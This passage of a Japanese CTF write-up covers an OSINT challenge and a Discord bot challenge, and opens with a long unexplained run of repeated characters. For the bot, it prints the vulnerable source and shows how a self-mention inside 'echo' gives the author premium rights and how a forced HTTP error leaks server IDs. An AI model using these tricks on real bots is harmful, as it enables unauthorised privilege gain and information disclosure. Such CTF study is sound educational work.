J9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JM6J6RJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNHAAAJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JMJ9JMJ9JM6J6RJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JN6J6RJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JNJ9JN6J6RJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JNHAAAJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JMJ9JMJ9JMJ9JM6J6RJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JN6J6RJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JNJ9JNJ9JNJ9JN6J6RJ9JN6J6RJ9JNHAAAJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JMJ9JM6J6RJ9JMJ9JMJ9JM6J6RJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JN6J6RJ9JNJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JN6J6RJ9JNJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JN6J6RJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JNHAAAJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JNJ9JN6J6RJ9JN6J6RJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JN6J6RJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JN6J6RJ9JNHAAAJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JMJ9JMJ9JMJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JNJ9JN6J6RJ9JN6J6RJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JNHAAAJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JM6J6RJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JN6J6RJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JNHAAAJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JMJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JNHAAAJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JMJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JNJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JN6J6RJ9JNJ9JNJ9JNJ9JNJ9JNJ9JNHAAAJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JMJ9JM6J6RJ9JM6J6RJ9JMC

Discordにはenterではなくvmaskmovdquを使ったという人もいました。はえ

Misc

slightly bored hacker [47 solves]

0x00FF00LeafHaxsというアカウントにメイプルストーリーのMesos(通貨)を奪われたので彼の本名を特定してくれというOSINT問(bored hacker)があったんですが、誰も解けないのでサブの問題として彼の友人の本名を特定しろというslightly bored hackerが出題されました。

0x00FF00LeafHaxsTwitterで検索すると@0Haxsというアカウントが見つかります。

twitter.com

このアカウント自体にはあまり情報がなかったので、to:0Haxsで何か言及がないか見てみるとあるツイートを発見できます。

このアカウントが彼の友人でしょう。写真を見ると、裏になっている書類が透けて見えています。ステガノグラフィー解析ツール「青い空を見上げればいつもそこに白い猫」を使い見やすく(言うほど見やすくなってるか...?)すると、本名らしきものが見えます。

maple{larry_acerabor}

disukoodo! [49 solves]

以下のようなDiscord Botが動いています。フラグはBotが加入しているサーバーの名前にあります。

import discord
from discord.ext import commands
from discord import utils, errors, channel, User

botmods = []
prem_users = []

intents = discord.Intents.default()
intents.dm_messages = True
bot = commands.Bot(command_prefix='\0', intents=intents) #disable internal command processor to allow customization

@bot.event
async def on_message(msg):
    #allow mentions anywhere in msg to facilitate more natural command invocations in conversations
    if isinstance(msg.channel, channel.DMChannel):   #blame discord 100 server limit for breaking realism :(
        split = msg.content.split(str(bot.user.id) + '> ', 1)
        if len(split) > 1 and any([m.id == bot.user.id for m in msg.mentions]): #has to be a real mention
            msg.content = '\0' + split[1]
        bot._skip_check = lambda x, y: False
        ctx = await bot.get_context(msg)
        await bot.invoke(ctx)

@bot.event
async def on_ready():
    global botmods
    info = await bot.application_info()
    botmods += [info.owner.id, info.id]

@bot.event
async def on_command_error(ctx, error):
    if isinstance(error, commands.errors.CommandNotFound):
        pass
    elif isinstance(error, commands.CheckFailure):
        await ctx.send("You don't have enough perms!")
    elif isinstance(error, commands.BadArgument):
        await ctx.send('Invalid arguments specified!')
    else:
        if isinstance(error, commands.errors.CommandInvokeError):
            error = error.original 

        await ctx.send('This command encountered an unexpected `' + str(type(error)) + '` error!')
        debuginfo = 'Debug info:\nCurrent command: `' + str(ctx.command) + '`\n'

        if isinstance(error, errors.HTTPException):   #something went wrong communicating with discord - give more backend info
            debuginfo += '\nBackend info:\nCurrently serving guilds:```\n' + '\n'.join([str(g.id) for g in bot.guilds]) + '```\nLatency: `' + str(bot.latency) + '`\n'

        await ctx.send(debuginfo)
        raise error


async def is_privileged(ctx):
    return ctx.author.id in botmods

async def is_prem(ctx):
    return ctx.author.id in prem_users


@bot.command(description='BOT MODS ONLY - manually sets a member as a premium member')
@commands.check(is_privileged)
async def registerprem(ctx, member: User):
    prem_users.append(member.id)
    await ctx.send('Manually added <@!' + str(member.id) + '> as a premium member!')

@bot.command(description='Echos a given message! Premium members gets a special secret feature ;)')
async def echo(ctx, *, msg):
    if len(msg) > 1990:
        await ctx.send('Sorry, your message to be echoed is too long!')
    else:
        val = msg.split(' ')[0]
        to_echo = (msg[len(val)+1:] * min(int(val), 100)) if await is_prem(ctx) and val.isdigit() else msg
        await ctx.send('`' + utils.escape_markdown(to_echo) + '`')


bot.run(open('token.txt').readlines()[0])

色々試すと、DMで@beepboop commandと入力するとコマンドを実行できることがわかります。

コマンドの実行方法がわからず発狂している様子

まず目につくのはregisterpremです。プレミアム権限なんて作られている以上は問題的に権限昇格する必要がありそうだ、とメタ読みできます。

registerpremを使えばユーザーをプレミアムメンバーにすることができますが、権限がないのでユーザー自身がregisterpremを使うことはできません。ではBotはどうでしょうか?echoコマンドを使って以下のようなメッセージをBotに言わせてみます。

@beepboop echo `@beepboop registerprem @Satoooon`

そうすると、自己メンションへの対策がされていないのでBotBot自身にコマンドを実行します。Botは権限を持っているので、これで自分がプレミアム会員になることができます。

権限昇格している様子

これでechoコマンドのプレミアムメンバー限定の機能が使えるようになりました!機能とは、msg timesとすればmsgtimes回繰り替えされたメッセージが出力されるものです。わざわざechoコマンドにlen(msg) > 1990なんてif文入れてるとこを見ると送信には文字数制限がありそうですね。このようなコマンドを送ってみます。

@beepboop echo 100 12345678901234567890

すると、以下のようなエラーを返します。

This command encountered an unexpected <class 'discord.errors.HTTPException'> error!
Debug info:
Current command: echo

Backend info:
Currently serving guilds:
991800535961313441
...

Latency: 0.08810776800055464

これでBotが加入しているサーバーのIDがわかりました。Guild IDからサーバーを取得する方法が調べても全然出てこなかったし、公式API/guilds/{ID}/previewは404返してて困ってましたが、頑張ってググってたら有志のツールを発見しました。これでフラグを取得できます。

distools.app

maple{ch4r_l1m1ts_4cc3ss_c0ntr0l_4nd_l0vely_m4rkd0wn}

感想

特に目立った問題もなく、よいCTFでした。海外CTFに続けて参加するとだいたい同じ実力のチームや頑張れば勝てそうなチームというのがわかってきて、ある種の目標になりますね。

Pwnは全完できて嬉しいです。webはあと1問解きたかったですね。

cryptoとrevは...もう少し頑張りましょう。